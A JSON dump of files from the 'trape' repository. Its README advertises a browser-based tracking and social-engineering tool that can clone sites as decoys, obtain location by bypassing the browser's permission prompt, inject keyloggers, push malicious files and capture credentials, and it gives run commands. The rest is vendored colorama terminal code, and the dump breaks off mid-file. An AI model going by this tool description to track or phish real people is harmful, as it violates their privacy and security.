[
  {
    "path": ".gitignore",
    "content": "*.nlog\n*.pyc\n*.db\n*.zip\nngrok*\nstatic/files/*\nbuild/*\ndist/*\nmain.spec\ntrape.config\n*.nlog\n*.DS_Store"
  },
  {
    "path": ".travis.yml",
    "content": "language: python\npython:\n  - 2.7\n  - 3.8\ninstall: pip install flake8\nscript: flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics\n"
  },
  {
    "path": "README.md",
    "content": "trape (stable) v2.0\n========\n\nPeople tracker on the Internet: Learn to track the world, to avoid being traced.\n\n---\nTrape is an **OSINT** analysis and research tool, which allows people to track and execute intelligent **social engineering** attacks in real time. It was created with the aim of teaching the world how large Internet companies could obtain **confidential information** such as the status of sessions of their websites or services and control their users through their browser, without their knowledge, but It evolves with the aim of helping **government** organizations, companies and **researchers** to track the cybercriminals.\n\n![--trape header](https://i.imgur.com/2ycpXEj.png)\n\n\nAt the beginning of the year 2018 was presented at **BlackHat Arsenal in Singapore**: https://www.blackhat.com/asia-18/arsenal.html#jose-pino and in multiple security events worldwide.\n\nSome benefits\n-----------\n* **LOCATOR OPTIMIZATION:** Trace the path between you and the target you're tracking. Each time you make a move, the path will be updated, the location of the target is obtained silently through a bypass made in the browsers, allowing you to skip the location request on the victim's side, and at the same time maintain a precision of **99%** in the locator.\n\n![](https://lh3.googleusercontent.com/qwq4LzzLTdFGwsGd8C3c9gxbDaN191s7lnvz75y0trwIMUGSaIu22QyBRgwKXxRwLBC5HGekBJLw9qgD5lnxgszcFVqJ24RVqv3q_T3HzD6wJeQU6oY4VVF8QT6Y83hstqD4C020)\n* **APPROACH:** When you're close to the target, Trape will tell you.\n\n![](https://lh4.googleusercontent.com/NFnVGLoDF2BmM_N56w8Vf6cnyg1WWIIKgGC1MeBTKXxcIynMDfC1ZSu43ftoiYnwcBb2gjpVdS4y0zm5K7XAzvXf7bPIt5ZrWQCEq9eQuN8KL-SRPOtBgIZL53AWkJjwhC4gJUcG)\n\n*  **REST API:** Generates an API (random or custom), and through this you can control and monitor other Web sites on the Internet remotely, getting the traffic of all visitors.\n\n![](https://lh6.googleusercontent.com/DtQiYYLoL9di3LPcSSTCZ3AuVMlQaNcDkBdv_fZFX7rztjg_epWmIaA2AlGsWCr5Mwr2nVfLcsg1I5PXEcx87ErLS8JaruvRsEUIkScydXA3JhvbsmJov7qxbKooGgD5u32kmBHW)\n\n* **PROCESS HOOKS:** Manages social engineering attacks or processes in the target's browser.\n    \n  --- **SEVERAL:** You can issue a phishing attack of any domain or service in real time as well as send malicious files to compromise the device of a target.\n    \n\n  ---  **INJECT JS:** You keep the JavaScript code running free in real time, so you can manage the execution of a **keylogger** or your own custom functions in JS which will be reflected in the target's browser.\n    \n  ---   **SPEECH:** A process of audio creation is maintained which is played in the browser of the target, by means of this you can execute personalized messages in different voices with languages in Spanish and English.\n    \n\n  \n\n* **PUBLIC NETWORK TUNNEL:** Trape has its own **API** that is linked to [ngrok.com](https://ngrok.com) to allow the automatic management of public network tunnels; So you can publish the content of your trape server which is executed locally to the Internet, to manage hooks or public attacks.\n\n![](https://lh5.googleusercontent.com/_f3zaCeZya_5AKaCoaPexyJVpNA7fiRqYQ9WBRiGLsHcx1W5V61V-VENeIRF2QbqvpenyOJ1AYyreTmOr2MWbf9PYu4qXF-tbYWi7qp6ZWeOwvoG3LYUdpjp3pAK9mIAQZzPJwAO)\n\n\n* **CLICK ATTACK TO GET CREDENTIALS:** Automatically obtains the target credentials, recognizing your connection availability on a social network or Internet service.\n\n![](https://lh4.googleusercontent.com/IN8xWfHjGPRQ__-QwTXebG-087m4JzDIVFWtSlUtrnRpDn2d0U1cnQdNGqLQZA35-fneej1iTpkxgHZCq_pWZLlCd1SmyLZ-WJ5Juj2KbtyNbX4jI1oLUtqupxieH91mX65_ZmHy)\n\n* **NETWORK:** You can get information about the user's network.\n\n  ---  **SPEED:** Viewing the target's network speed. (Ping, download, upload, type connection)\n\n  --- **HOSTS OR DEVICES:** Here you can get a scan of all the devices that are connected in the target network automatically.\n\n![](https://lh3.googleusercontent.com/gkOWunWn7ge5yJt00lMBN_7GwSUxrAQV2y64ysyrjmD-vz_lO3bu6UkRjPJF8OljxyMTNlWVA9W8gVU3U0iI3RrECNNkr7H44Lz6z5Zj3-bA_hDF5TnTSoV_6584qFvuLkmShTQD)\n\n\n* **PROFILE:** Brief summary of the target's behavior and important additional information about your device.\n\n  ---   **GPU**\n  ---   **ENERGY**\n\n30-session recognition\n-------\nSession recognition is one of trape most interesting attractions, since you as a researcher can know remotely what service the target is connected to.\n\n![](https://lh6.googleusercontent.com/IFxIh7Eemr63kycj2eBzJYvevCzLH5DkQGWUKzPx_Okn4WoExPl0LR7Qj-cSc0WF0rs9Ew6DJMwcyirZd0kdfLpdrqQ2700P_xdxW7wpZ7K6OWi8pluLKivHtU45HD4VtyM0lLwh)\n\n* **USABILITY:** You can delete logs and view alerts for each process or action you run against each target.\n \n ![](https://lh4.googleusercontent.com/dXx1lRG2z-ZlSIlQyTx_ra7sbkgKG2jeqGjIt86GebFiAaZyFDA4vy3QBLACd-1wOz4zdSIARWvo3hK2mEvrSJ6VPDSiOZgMLB4rUYXKDHrone0xIB3bwhAKPnsJUcuKW9xf_-sG)\n \nHow to use it\n-------\n First unload the tool.\n```\ngit clone https://github.com/jofpin/trape.git\ncd trape\npython3 trape.py -h\n```\nIf it does not work, try to install all the libraries that are located in the file **requirements.txt**\n```\npip3 install -r requirements.txt\n```\n\nExample of execution\n```\nExample: python3 trape.py --url http://example.com --port 8080\n```\n\nIf you face some problems installing the tool, it is probably due to Python versions conflicts, you should run a Python 2.7 environment :\n\n```\npip3 install virtualenv\nvirtualenv -p /usr/bin/python3 trape_env\nsource trape_env/bin/activate\npip3 install -r requirements.txt\npython3 trape.py -h\n```\n\n**HELP  AND OPTIONS**\n```\nuser:~$ python3 trape.py --help\nusage: python3 trape.py -u <> -p <> [-h] [-v] [-u URL] [-p PORT]\n                                              [-ak ACCESSKEY] [-l LOCAL]\n                                              [--update] [-n] [-ic INJC]\n\noptional arguments:\n  -h, --help            show this help message and exit\n  -v, --version         show program's version number and exit\n  -u URL, --url URL     Put the web page url to clone\n  -p PORT, --port PORT  Insert your port\n  -ak ACCESSKEY, --accesskey ACCESSKEY\n                        Insert your custom key access\n  -l LOCAL, --local LOCAL\n                        Insert your home file\n  -n, --ngrok           Insert your ngrok Authtoken\n  -ic INJC, --injectcode INJC\n                        Insert your custom REST API path\n  -ud UPDATE, --update UPDATE\n                        Update trape to the latest version\n```\n\n**--url**  In this option you add the URL you want to clone, which works as a decoy.\n\n**--port**  Here you insert the port, where you are going to run the  **trape server**.\n\n**--accesskey**  You enter a custom key for the  **trape panel**, if you do not insert it will generate an  **automatic key**.\n\n**--injectcode**  trape contains a  **REST API**  to play anywhere, using this option you can customize the name of the file to include, if it does not, generates a random name allusive to a token.\n\n**--local**  Using this option you can call a local **HTML file**, this is the replacement of the  **--url**  option made to run a local lure in trape.\n\n**--ngrok**  In this option you can enter a token, to run at the time of a process. This would replace the token saved in configurations.\n\n**--version**  You can see the version number of trape.\n\n**--update**  Option used to upgrade to the latest version of **trape**.\n\n**--help**  It is used to see all the above options, from the executable.\n\n\nDisclaimer\n-------\nThis tool has been published educational purposes. It is intended to teach people how bad guys could track them, monitor them or obtain information from their credentials, we are not responsible for the use or the scope that someone may have through this project.\n\nWe are totally convinced that if we teach how vulnerable things really are, we can make the Internet a safer place.\n\nDeveloper\n-------\nThis development and others, the participants will be mentioned with name, Twitter and charge.\n\n* **CREATOR**\n\n  --- Jose Pino - [@jofpin](https://twitter.com/jofpin) - (**Security Researcher**) \n \n\nHappy hacking!\n-------\nI invite you, if you use this tool helps to share, collaborate. Let's make the Internet a safer place, let's report.\n\n\n## License\n\nThe content of this project itself is licensed under the [Creative Commons Attribution 3.0 license](http://creativecommons.org/licenses/by/3.0/us/deed.en_US), and the underlying source code used to format and display that content is licensed under the [MIT license](http://opensource.org/licenses/mit-license.php).\n\nCopyright, 2018 by [Jose Pino](https://twitter.com/jofpin) \n\n-------------\n"
  },
  {
    "path": "core/__init__.py",
    "content": "pass\n"
  },
  {
    "path": "core/colorama/__init__.py",
    "content": "# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file.\nfrom .initialise import init, deinit, reinit, colorama_text\nfrom .ansi import Fore, Back, Style, Cursor\nfrom .ansitowin32 import AnsiToWin32\n\n__version__ = '0.3.7'\n\n"
  },
  {
    "path": "core/colorama/ansi.py",
    "content": "# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file.\n'''\nThis module generates ANSI character codes to printing colors to terminals.\nSee: http://en.wikipedia.org/wiki/ANSI_escape_code\n'''\n\nCSI = '\\033['\nOSC = '\\033]'\nBEL = '\\007'\n\n\ndef code_to_chars(code):\n    return CSI + str(code) + 'm'\n\ndef set_title(title):\n    return OSC + '2;' + title + BEL\n\ndef clear_screen(mode=2):\n    return CSI + str(mode) + 'J'\n\ndef clear_line(mode=2):\n    return CSI + str(mode) + 'K'\n\n\nclass AnsiCodes(object):\n    def __init__(self):\n        # the subclasses declare class attributes which are numbers.\n        # Upon instantiation we define instance attributes, which are the same\n        # as the class attributes but wrapped with the ANSI escape sequence\n        for name in dir(self):\n            if not name.startswith('_'):\n                value = getattr(self, name)\n                setattr(self, name, code_to_chars(value))\n\n\nclass AnsiCursor(object):\n    def UP(self, n=1):\n        return CSI + str(n) + 'A'\n    def DOWN(self, n=1):\n        return CSI + str(n) + 'B'\n    def FORWARD(self, n=1):\n        return CSI + str(n) + 'C'\n    def BACK(self, n=1):\n        return CSI + str(n) + 'D'\n    def POS(self, x=1, y=1):\n        return CSI + str(y) + ';' + str(x) + 'H'\n\n\nclass AnsiFore(AnsiCodes):\n    BLACK           = 30\n    RED             = 31\n    GREEN           = 32\n    YELLOW          = 33\n    BLUE            = 34\n    MAGENTA         = 35\n    CYAN            = 36\n    WHITE           = 37\n    RESET           = 39\n\n    # These are fairly well supported, but not part of the standard.\n    LIGHTBLACK_EX   = 90\n    LIGHTRED_EX     = 91\n    LIGHTGREEN_EX   = 92\n    LIGHTYELLOW_EX  = 93\n    LIGHTBLUE_EX    = 94\n    LIGHTMAGENTA_EX = 95\n    LIGHTCYAN_EX    = 96\n    LIGHTWHITE_EX   = 97\n\n\nclass AnsiBack(AnsiCodes):\n    BLACK           = 40\n    RED             = 41\n    GREEN           = 42\n    YELLOW          = 43\n    BLUE            = 44\n    MAGENTA         = 45\n    CYAN            = 46\n    WHITE           = 47\n    RESET           = 49\n\n    # These are fairly well supported, but not part of the standard.\n    LIGHTBLACK_EX   = 100\n    LIGHTRED_EX     = 101\n    LIGHTGREEN_EX   = 102\n    LIGHTYELLOW_EX  = 103\n    LIGHTBLUE_EX    = 104\n    LIGHTMAGENTA_EX = 105\n    LIGHTCYAN_EX    = 106\n    LIGHTWHITE_EX   = 107\n\n\nclass AnsiStyle(AnsiCodes):\n    BRIGHT    = 1\n    DIM       = 2\n    NORMAL    = 22\n    RESET_ALL = 0\n\nFore   = AnsiFore()\nBack   = AnsiBack()\nStyle  = AnsiStyle()\nCursor = AnsiCursor()\n"
  },
  {
    "path": "core/colorama/ansitowin32.py",
    "content": "# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file.\nimport re\nimport sys\nimport os\n\nfrom .ansi import AnsiFore, AnsiBack, AnsiStyle, Style\nfrom .winterm import WinTerm, WinColor, WinStyle\nfrom .win32 import windll, winapi_test\n\n\nwinterm = None\nif windll is not None:\n    winterm = WinTerm()\n\n\ndef is_stream_closed(stream):\n    return not hasattr(stream, 'closed') or stream.closed\n\n\ndef is_a_tty(stream):\n    return hasattr(stream, 'isatty') and stream.isatty()\n\n\nclass StreamWrapper(object):\n    '''\n    Wraps a stream (such as stdout), acting as a transparent proxy for all\n    attribute access apart from method 'write()', which is delegated to our\n    Converter instance.\n    '''\n    def __init__(self, wrapped, converter):\n        # double-underscore everything to prevent clashes with names of\n        # attributes on the wrapped stream object.\n        self.__wrapped = wrapped\n        self.__convertor = converter\n\n    def __getattr__(self, name):\n        return getattr(self.__wrapped, name)\n\n    def write(self, text):\n        self.__convertor.write(text)\n\n\nclass AnsiToWin32(object):\n    '''\n    Implements a 'write()' method which, on Windows, will strip ANSI character\n    sequences from the text, and if outputting to a tty, will convert them into\n    win32 function calls.\n    '''\n    ANSI_CSI_RE = re.compile('\\001?\\033\\[((?:\\d|;)*)([a-zA-Z])\\002?')     # Control Sequence Introducer\n    ANSI_OSC_RE = re.compile('\\001?\\033\\]((?:.|;)*?)(\\x07)\\002?')         # Operating System Command\n\n    def __init__(self, wrapped, convert=None, strip=None, autoreset=False):\n        # The wrapped stream (normally sys.stdout or sys.stderr)\n        self.wrapped = wrapped\n\n        # should we reset colors to defaults after every .write()\n        self.autoreset = autoreset\n\n        # create the proxy wrapping our output stream\n        self.stream = StreamWrapper(wrapped, self)\n\n        on_windows = os.name == 'nt'\n        # We test if the WinAPI works, because even if we are on Windows\n        # we may be using a terminal that doesn't support the WinAPI\n        # (e.g. Cygwin Terminal). In this case it's up to the terminal\n        # to support the ANSI codes.\n        conversion_supported = on_windows and winapi_test()\n\n        # should we strip ANSI sequences from our output?\n        if strip is None:\n            strip = conversion_supported or (not is_stream_closed(wrapped) and not is_a_tty(wrapped))\n        self.strip = strip\n\n        # should we should convert ANSI sequences into win32 calls?\n        if convert is None:\n            convert = conversion_supported and not is_stream_closed(wrapped) and is_a_tty(wrapped)\n        self.convert = convert\n\n        # dict of ansi codes to win32 functions and parameters\n        self.win32_calls = self.get_win32_calls()\n\n        # are we wrapping stderr?\n        self.on_stderr = self.wrapped is sys.stderr\n\n    def should_wrap(self):\n        '''\n        True if this class is actually needed. If false, then the output\n        stream will not be affected, nor will win32 calls be issued, so\n        wrapping stdout is not actually required. This will generally be\n        False on non-Windows platforms, unless optional functionality like\n        autoreset has been requested using kwargs to init()\n        '''\n        return self.convert or self.strip or self.autoreset\n\n    def get_win32_calls(self):\n        if self.convert and winterm:\n            return {\n                AnsiStyle.RESET_ALL: (winterm.reset_all, ),\n                AnsiStyle.BRIGHT: (winterm.style, WinStyle.BRIGHT),\n                AnsiStyle.DIM: (winterm.style, WinStyle.NORMAL),\n                AnsiStyle.NORMAL: (winterm.style, WinStyle.NORMAL),\n                AnsiFore.BLACK: (winterm.fore, WinColor.BLACK),\n                AnsiFore.RED: (winterm.fore, WinColor.RED),\n                AnsiFore.GREEN: (winterm.fore, WinColor.GREEN),\n                AnsiFore.YELLOW: (winterm.fore, WinColor.YELLOW),\n                AnsiFore.BLUE: (winterm.fore, WinColor.BLUE),\n                AnsiFore.MAGENTA: (winterm.fore, WinColor.MAGENTA),\n                AnsiFore.CYAN: (winterm.fore, WinColor.CYAN),\n                AnsiFore.WHITE: (winterm.fore, WinColor.GREY),\n                AnsiFore.RESET: (winterm.fore, ),\n                AnsiFore.LIGHTBLACK_EX: (winterm.fore, WinColor.BLACK, True),\n                AnsiFore.LIGHTRED_EX: (winterm.fore, WinColor.RED, True),\n                AnsiFore.LIGHTGREEN_EX: (winterm.fore, WinColor.GREEN, True),\n                AnsiFore.LIGHTYELLOW_EX: (winterm.fore, WinColor.YELLOW, True),\n                AnsiFore.LIGHTBLUE_EX: (winterm.fore, WinColor.BLUE, True),\n                AnsiFore.LIGHTMAGENTA_EX: (winterm.fore, WinColor.MAGENTA, True),\n                AnsiFore.LIGHTCYAN_EX: (winterm.fore, WinColor.CYAN, True),\n                AnsiFore.LIGHTWHITE_EX: (winterm.fore, WinColor.GREY, True),\n                AnsiBack.BLACK: (winterm.back, WinColor.BLACK),\n                AnsiBack.RED: (winterm.back, WinColor.RED),\n                AnsiBack.GREEN: (winterm.back, WinColor.GREEN),\n                AnsiBack.YELLOW: (winterm.back, WinColor.YELLOW),\n                AnsiBack.BLUE: (winterm.back, WinColor.BLUE),\n                AnsiBack.MAGENTA: (winterm.back, WinColor.MAGENTA),\n                AnsiBack.CYAN: (winterm.back, WinColor.CYAN),\n                AnsiBack.WHITE: (winterm.back, WinColor.GREY),\n                AnsiBack.RESET: (winterm.back, ),\n                AnsiBack.LIGHTBLACK_EX: (winterm.back, WinColor.BLACK, True),\n                AnsiBack.LIGHTRED_EX: (winterm.back, WinColor.RED, True),\n                AnsiBack.LIGHTGREEN_EX: (winterm.back, WinColor.GREEN, True),\n                AnsiBack.LIGHTYELLOW_EX: (winterm.back, WinColor.YELLOW, True),\n                AnsiBack.LIGHTBLUE_EX: (winterm.back, WinColor.BLUE, True),\n                AnsiBack.LIGHTMAGENTA_EX: (winterm.back, WinColor.MAGENTA, True),\n                AnsiBack.LIGHTCYAN_EX: (winterm.back, WinColor.CYAN, True),\n                AnsiBack.LIGHTWHITE_EX: (winterm.back, WinColor.GREY, True),\n            }\n        return dict()\n\n    def write(self, text):\n        if self.strip or self.convert:\n            self.write_and_convert(text)\n        else:\n            self.wrapped.write(text)\n            self.wrapped.flush()\n        if self.autoreset:\n            self.reset_all()\n\n\n    def reset_all(self):\n        if self.convert:\n            self.call_win32('m', (0,))\n        elif not self.strip and not is_stream_closed(self.wrapped):\n            self.wrapped.write(Style.RESET_ALL)\n\n\n    def write_and_convert(self, text):\n        '''\n        Write the given text to our wrapped stream, stripping any ANSI\n        sequences from the text, and optionally converting them into win32\n        calls.\n        '''\n        cursor = 0\n        text = self.convert_osc(text)\n        for match in self.ANSI_CSI_RE.finditer(text):\n            start, end = match.span()\n            self.write_plain_text(text, cursor, start)\n            self.convert_ansi(*match.groups())\n            cursor = end\n        self.write_plain_text(text, cursor, len(text))\n\n\n    def write_plain_text(self, text, start, end):\n        if start < end:\n            self.wrapped.write(text[start:end])\n            self.wrapped.flush()\n\n\n    def convert_ansi(self, paramstring, command):\n        if self.convert:\n            params = self.extract_params(command, paramstring)\n            self.call_win32(command, params)\n\n\n    def extract_params(self, command, paramstring):\n        if command in 'Hf':\n            params = tuple(int(p) if len(p) != 0 else 1 for p in paramstring.split(';'))\n            while len(params) < 2:\n                # defaults:\n                params = params + (1,)\n        else:\n            params = tuple(int(p) for p in paramstring.split(';') if len(p) != 0)\n            if len(params) == 0:\n                # defaults:\n                if command in 'JKm':\n                    params = (0,)\n                elif command in 'ABCD':\n                    params = (1,)\n\n        return params\n\n\n    def call_win32(self, command, params):\n        if command == 'm':\n            for param in params:\n                if param in self.win32_calls:\n                    func_args = self.win32_calls[param]\n                    func = func_args[0]\n                    args = func_args[1:]\n                    kwargs = dict(on_stderr=self.on_stderr)\n                    func(*args, **kwargs)\n        elif command in 'J':\n            winterm.erase_screen(params[0], on_stderr=self.on_stderr)\n        elif command in 'K':\n            winterm.erase_line(params[0], on_stderr=self.on_stderr)\n        elif command in 'Hf':     # cursor position - absolute\n            winterm.set_cursor_position(params, on_stderr=self.on_stderr)\n        elif command in 'ABCD':   # cursor position - relative\n            n = params[0]\n            # A - up, B - down, C - forward, D - back\n            x, y = {'A': (0, -n), 'B': (0, n), 'C': (n, 0), 'D': (-n, 0)}[command]\n            winterm.cursor_adjust(x, y, on_stderr=self.on_stderr)\n\n\n    def convert_osc(self, text):\n        for match in self.ANSI_OSC_RE.finditer(text):\n            start, end = match.span()\n            text = text[:start] + text[end:]\n            paramstring, command = match.groups()\n            if command in '\\x07':       # \\x07 = BEL\n                params = paramstring.split(\";\")\n                # 0 - change title and icon (we will only change title)\n                # 1 - change icon (we don't support this)\n                # 2 - change title\n                if params[0] in '02':\n                    winterm.set_title(params[1])\n        return text\n"
  },
  {
    "path": "core/colorama/initialise.py",
    "content": "# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file.\nimport atexit\nimport contextlib\nimport sys\n\nfrom .ansitowin32 import AnsiToWin32\n\n\norig_stdout = None\norig_stderr = None\n\nwrapped_stdout = None\nwrapped_stderr = None\n\natexit_done = False\n\n\ndef reset_all():\n    if AnsiToWin32 is not None:    # Issue #74: objects might become None at exit\n        AnsiToWin32(orig_stdout).reset_all()\n\n\ndef init(autoreset=False, convert=None, strip=None, wrap=True):\n\n    if not wrap and any([autoreset, convert, strip]):\n        raise ValueError('wrap=False conflicts with any other arg=True')\n\n    global wrapped_stdout, wrapped_stderr\n    global orig_stdout, orig_stderr\n\n    orig_stdout = sys.stdout\n    orig_stderr = sys.stderr\n\n    if sys.stdout is None:\n        wrapped_stdout = None\n    else:\n        sys.stdout = wrapped_stdout = \\\n            wrap_stream(orig_stdout, convert, strip, autoreset, wrap)\n    if sys.stderr is None:\n        wrapped_stderr = None\n    else:\n        sys.stderr = wrapped_stderr = \\\n            wrap_stream(orig_stderr, convert, strip, autoreset, wrap)\n\n    global atexit_done\n    if not atexit_done:\n        atexit.register(reset_all)\n        atexit_done = True\n\n\ndef deinit():\n    if orig_stdout is not None:\n        sys.stdout = orig_stdout\n    if orig_stderr is not None:\n        sys.stderr = orig_stderr\n\n\n@contextlib.contextmanager\ndef colorama_text(*args, **kwargs):\n    init(*args, **kwargs)\n    try:\n        yield\n    finally:\n        deinit()\n\n\ndef reinit():\n    if wrapped_stdout is not None:\n        sys.stdout = wrapped_stdout\n    if wrapped_stderr is not None:\n        sys.stderr = wrapped_stderr\n\n\ndef wrap_stream(stream, convert, strip, autoreset, wrap):\n    if wrap:\n        wrapper = AnsiToWin32(stream,\n            convert=convert, strip=strip, autoreset=autoreset)\n        if wrapper.should_wrap():\n            stream = wrapper.stream\n    return stream\n\n\n"
  },
  {
    "path": "core/colorama/win32.py",
    "content": "# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file.\n\n# from winbase.h\nSTDOUT = -11\nSTDERR = -12\n\ntry:\n    import ctypes\n    from ctypes import LibraryLoader\n    windll = LibraryLoader(ctypes.WinDLL)\n    from ctypes import wintypes\nexcept (AttributeError, ImportError):\n    windll = None\n    SetConsoleTextAttribute = lambda *_: None\n    winapi_test = lambda *_: None\nelse:\n    from ctypes import byref, Structure, c_char, POINTER\n\n    COORD = wintypes._COORD\n\n    class CONSOLE_SCREEN_BUFFER_INFO(Structure):\n        \"\"\"struct in wincon.h.\"\"\"\n        _fields_ = [\n            (\"dwSize\", COORD),\n            (\"dwCursorPosition\", COORD),\n            (\"wAttributes\", wintypes.WORD),\n            (\"srWindow\", wintypes.SMALL_RECT),\n            (\"dwMaximumWindowSize\", COORD),\n        ]\n        def __str__(self):\n            return '(%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d)' % (\n                self.dwSize.Y, self.dwSize.X\n                , self.dwCursorPosition.Y, self.dwCursorPosition.X\n                , self.wAttributes\n                , self.srWindow.Top, self.srWindow.Left, self.srWindow.Bottom, self.srWindow.Right\n                , self.dwMaximumWindowSize.Y, self.dwMaximumWindowSize.X\n            )\n\n    _GetStdHandle = windll.kernel32.GetStdHandle\n    _GetStdHandle.argtypes = [\n        wintypes.DWORD,\n    ]\n    _GetStdHandle.restype = wintypes.HANDLE\n\n    _GetConsoleScreenBufferInfo = windll.kernel32.GetConsoleScreenBufferInfo\n    _GetConsoleScreenBufferInfo.argtypes = [\n        wintypes.HANDLE,\n        POINTER(CONSOLE_SCREEN_BUFFER_INFO),\n    ]\n    _GetConsoleScreenBufferInfo.restype = wintypes.BOOL\n\n    _SetConsoleTextAttribute = windll.kernel32.SetConsoleTextAttribute\n    _SetConsoleTextAttribute.argtypes = [\n        wintypes.HANDLE,\n        wintypes.WORD,\n    ]\n    _SetConsoleTextAttribute.restype = wintypes.BOOL\n\n    _SetConsoleCursorPosition = windll.kernel32.SetConsoleCursorPosition\n    _SetConsoleCursorPosition.argtypes = [\n        wintypes.HANDLE,\n        COORD,\n    ]\n    _SetConsoleCursorPosition.restype = wintypes.BOOL\n\n    _FillConsoleOutputCharacterA = windll.kernel32.FillConsoleOutputCharacterA\n    _FillConsoleOutputCharacterA.argtypes = [\n        wintypes.HANDLE,\n        c_char,\n        wintypes.DWORD,\n        COORD,\n        POINTER(wintypes.DWORD),\n    ]\n    _FillConsoleOutputCharacterA.restype = wintypes.BOOL\n\n    _FillConsoleOutputAttribute = windll.kernel32.FillConsoleOutputAttribute\n    _FillConsoleOutputAttribute.argtypes = [\n        wintypes.HANDLE,\n        wintypes.WORD,\n        wintypes.DWORD,\n        COORD,\n        POINTER(wintypes.DWORD),\n    ]\n    _FillConsoleOutputAttribute.restype = wintypes.BOOL\n\n    _SetConsoleTitleW = windll.kernel32.SetConsoleTitleA\n    _SetConsoleTitleW.argtypes = [\n        wintypes.LPCSTR\n    ]\n    _SetConsoleTitleW.restype = wintypes.BOOL\n\n    handles = {\n        STDOUT: _GetStdHandle(STDOUT),\n        STDERR: _GetStdHandle(STDERR),\n    }\n\n    def winapi_test():\n        handle = handles[STDOUT]\n        csbi = CONSOLE_SCREEN_BUFFER_INFO()\n        success = _GetConsoleScreenBufferInfo(\n            handle, byref(csbi))\n        return bool(success)\n\n    def GetConsoleScreenBufferInfo(stream_id=STDOUT):\n        handle = handles[stream_id]\n        csbi = CONSOLE_SCREEN_BUFFER_INFO()\n        success = _GetConsoleScreenBufferInfo(\n            handle, byref(csbi))\n        return csbi\n\n    def SetConsoleTextAttribute(stream_id, attrs):\n        handle = handles[stream_id]\n        return _SetConsoleTextAttribute(handle, attrs)\n\n    def SetConsoleCursorPosition(stream_id, position, adjust=True):\n        position = COORD(*position)\n        # If the position is out of range, do nothing.\n        if position.Y <= 0 or position.X <= 0:\n            return\n        # Adjust for Windows' SetConsoleCursorPosition:\n        #    1. being 0-based, while ANSI is 1-based.\n        #    2. expecting (x,y), while ANSI uses (y,x).\n        adjusted_position = COORD(position.Y - 1, position.X - 1)\n        if adjust:\n            # Adjust for viewport's scroll position\n            sr = GetConsoleScreenBufferInfo(STDOUT).srWindow\n            adjusted_position.Y += sr.Top\n            adjusted_position.X += sr.Left\n        # Resume normal processing\n        handle = handles[stream_id]\n        return _SetConsoleCursorPosition(handle, adjusted_position)\n\n    def FillConsoleOutputCharacter(stream_id, char, length, start):\n        handle = handles[stream_id]\n        char = c_char(char.encode())\n        length = wintypes.DWORD(length)\n        num_written = wintypes.DWORD(0)\n        # Note that this is hard-coded for ANSI (vs wide) bytes.\n        success = _FillConsoleOutputCharacterA(\n            handle, char, length, start, byref(num_written))\n        return num_written.value\n\n    def FillConsoleOutputAttribute(stream_id, attr, length, start):\n        ''' FillConsoleOutputAttribute( hConsole, csbi.wAttributes, dwConSize, coordScreen, &cCharsWritten )'''\n        handle = handles[stream_id]\n        attribute = wintypes.WORD(attr)\n        length = wintypes.DWORD(length)\n        num_written = wintypes.DWORD(0)\n        # Note that this is hard-coded for ANSI (vs wide) bytes.\n        return _FillConsoleOutputAttribute(\n            handle, attribute, length, start, byref(num_written))\n\n    def SetConsoleTitle(title):\n        return _SetConsoleTitleW(title)\n"
  },
  {
    "path": "core/colorama/winterm.py",
    "content": "# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file.\nfrom . import win32\n\n\n# from wincon.h\nclass WinColor(object):\n    BLACK   = 0\n    BLUE    = 1\n    GREEN   = 2\n    CYAN    = 3\n    RED     = 4\n    MAGENTA = 5\n    YELLOW  = 6\n    GREY    = 7\n\n# from wincon.h\nclass WinStyle(object):\n    NORMAL              = 0x00 # dim text, dim background\n    BRIGHT              = 0x08 # bright text, dim background\n    BRIGHT_BACKGROUND   = 0x80 # dim text, bright background\n\nclass WinTerm(object):\n\n    def __init__(self):\n        self._default = win32.GetConsoleScreenBufferInfo(win32.STDOUT).wAttributes\n        self.set_attrs(self._default)\n        self._default_fore = self._fore\n        self._default_back = self._back\n        self._default_style = self._style\n        # In order to emulate LIGHT_EX in windows, we borrow the BRIGHT style.\n        # So that LIGHT_EX colors and BRIGHT style do not clobber each other,\n        # we track them separately, since LIGHT_EX is overwritten by Fore/Back\n        # and BRIGHT is overwritten by Style codes.\n        self._light = 0\n\n    def get_attrs(self):\n        return self._fore + self._back * 16 + (self._style | self._light)\n\n    def set_attrs(self, value):\n        self._fore = value & 7\n        self._back = (value >> 4) & 7\n        self._style = value & (WinStyle.BRIGHT | WinStyle.BRIGHT_BACKGROUND)\n\n    def reset_all(self, on_stderr=None):\n        self.set_attrs(self._default)\n        self.set_console(attrs=self._default)\n\n    def fore(self, fore=None, light=False, on_stderr=False):\n        if fore is None:\n            fore = self._default_fore\n        self._fore = fore\n        # Emulate LIGHT_EX with BRIGHT Style\n        if light:\n            self._light |= WinStyle.BRIGHT\n        else:\n            self._light &= ~WinStyle.BRIGHT\n        self.set_console(on_stderr=on_stderr)\n\n    def back(self, back=None, light=False, on_stderr=False):\n        if back is None:\n            back = self._default_back\n        self._back = back\n        # Emulate LIGHT_EX with BRIGHT_BACKGROUND Style\n        if light:\n            self._light |= WinStyle.BRIGHT_BACKGROUND\n        else:\n            self._light &= ~WinStyle.BRIGHT_BACKGROUND\n        self.set_console(on_stderr=on_stderr)\n\n    def style(self, style=None, on_stderr=False):\n        if style is None:\n            style = self._default_style\n        self._style = style\n        self.set_console(on_stderr=on_stderr)\n\n    def set_console(self, attrs=None, on_stderr=False):\n        if attrs is None:\n            attrs = self.get_attrs()\n        handle = win32.STDOUT\n        if on_stderr:\n            handle = win32.STDERR\n        win32.SetConsoleTextAttribute(handle, attrs)\n\n    def get_position(self, handle):\n        position = win32.GetConsoleScreenBufferInfo(handle).dwCursorPosition\n        # Because Windows coordinates are 0-based,\n        # and win32.SetConsoleCursorPosition expects 1-based.\n        position.X += 1\n        position.Y += 1\n        return position\n\n    def set_cursor_position(self, position=None, on_stderr=False):\n        if position is None:\n            # I'm not currently tracking the position, so there is no default.\n            # position = self.get_position()\n            return\n        handle = win32.STDOUT\n        if on_stderr:\n            handle = win32.STDERR\n        win32.SetConsoleCursorPosition(handle, position)\n\n    def 